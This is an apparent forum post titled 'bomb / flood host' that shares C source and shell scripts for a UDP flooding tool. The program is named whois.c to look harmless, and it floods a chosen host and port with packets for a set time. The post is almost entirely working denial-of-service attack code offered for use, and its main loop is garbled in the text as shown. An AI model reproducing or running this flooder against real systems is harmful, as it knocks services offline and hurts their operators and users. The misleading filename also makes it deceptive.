Jump to content
PuRiCeL

bomb / flood host

Recommended Posts

whois.c contine :

#define BOMB_STRING "0123456789"
#define BOMB_SIZE 10

#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>

int echo_connect(char *, short);

int echo_connect(char *server, short port)
{
struct sockaddr_in sin;
struct hostent *hp;
int thesock;

printf("Bombing %s, port %d\n", server, port);
hp = gethostbyname(server);
if (hp==NULL) {
printf("Unknown host: %s\n",server);
exit(0);
}
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(port);
thesock = socket(AF_INET, SOCK_DGRAM, 0);
connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
return thesock;
}


main(int argc, char **argv)
{
int s;
if(argc != 3)
{
printf("Syntax: bmb host port\n");
printf("Port can be any port, any of them work equally well\n");
exit(0);
}
s=echo_connect(argv[1], atoi(argv[2]));
for(
{
send(s, BOMB_STRING, BOMB_SIZE, 0);
}
}

inst.sh contine:

make httpd ;
make whois ;

whois.sh contine:

./whois $1 $2  &
sleep $3
killall -9 whois &

./inst.sh ; ./whois.sh host port time

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...